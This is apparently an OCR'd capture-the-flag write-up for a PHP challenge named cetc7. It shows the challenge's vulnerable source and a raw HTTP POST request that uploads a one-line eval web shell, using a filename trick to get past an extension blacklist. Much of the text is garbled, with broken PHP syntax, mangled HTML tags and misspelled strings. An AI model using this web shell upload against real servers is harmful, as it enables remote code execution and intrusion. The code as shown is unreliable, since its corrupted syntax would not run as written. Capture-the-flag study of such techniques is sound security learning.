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<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>cetc7</title>
</head>
<body>
<?php
session_start();

if (lisset($_GET[page])) {
show_source(__FILE_ );
die();

if (isset($_GET[page]) & $_GET[page] != 'index.php') {
include('flag.php');

}else {
header('Location: ?page=flag.php');

?>

<form action="#" method="get">

page : <input type="text" name="page" value=
id : <input type="text" name="id" value="">

>
<input type="submit" name="submit" value="submit">

</form>

<br />

<a href="index.phps">view-source</a>

<?php

if ($_SESSION['admin']) {
$con = $_POST['con'];
$file = $_POST['file'];
$filename = "backup/".$file;

if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i"', $filename)){
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alie( bad T1lle exitension );
}else{
chdir('uploaded');
$f = fopen($filename, 'w');
fwrite($f, $con);

fclose($f);
}
?>
<?php
if (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9') {

include ‘'config.php';

$id = mysql_real_escape_string($_GET[id]);
$sql="select * from cetc@07.user where id='$id'";
$result = mysql_query($sql);

$result = mysql_fetch_object($result);

} else {
$result = False;
die();
}
if(!$result)die("<br >something wae wrong ! <br>");
if($result){
echo "id: ".$result->id."</br>";

echo "name:".$result->user."</br>";
$_SESSION[ 'admin'] = True;
}

?>

</body>
</html>
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POST findex php?page=flag php&id=1/3 HTTP/1.1 :
Host: 111.198.29.45:37544

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/.0 (Windows NT 6.1; Winb4; x64) AppleWeblit/537.36 (KHTML,
like Gecko) Chrome/57.0.2987.133 Safari/537.36

Accept: text/htmlapplication/xhtml+xml application/xml; g=0.9 image/webp */*q=0.8
Accept-Encoding: gzip, deflate

Content-Type:application/x-www-form-urlencoded

Accept-Language: zh-CN zh;q=0.8

Cookie: PHPSESSID=c7 g3q1hg0mtp2fmes2plkkS7p7?

Connection: close

Content-Length: 43

con=<?php eval($_POST['aY]);?=8file=h php/.
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<input type="text" name="page" lay-verify="title" value="" autocomplete="of" placehalder= AT H 2 5R"
class="layui-input">
<fdiv>
<fdiv=>
<div class="layuk-form-item">
<label class="layui-form-label"> 15 E 1D </label>
<div class="layui-input-block">
<input type="text" name="id" lay-verify="title" value=
class="layui-input">
<fdiv=>
<fdivz>
<div class="layui-form-item">
<div class="layui-input-block">
<input type="submit" name="submit" class="layui-btn">
<fdiv=>
<fdivz>
<a href="view-source.php">view-source</a=
<fform=

autocomplete="off" placeholder=" AT H #55"

id: 1</br=name:admin</br>
</body=
<fhtml=
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<head?

{meta charset="utf-§" />
“fheadr
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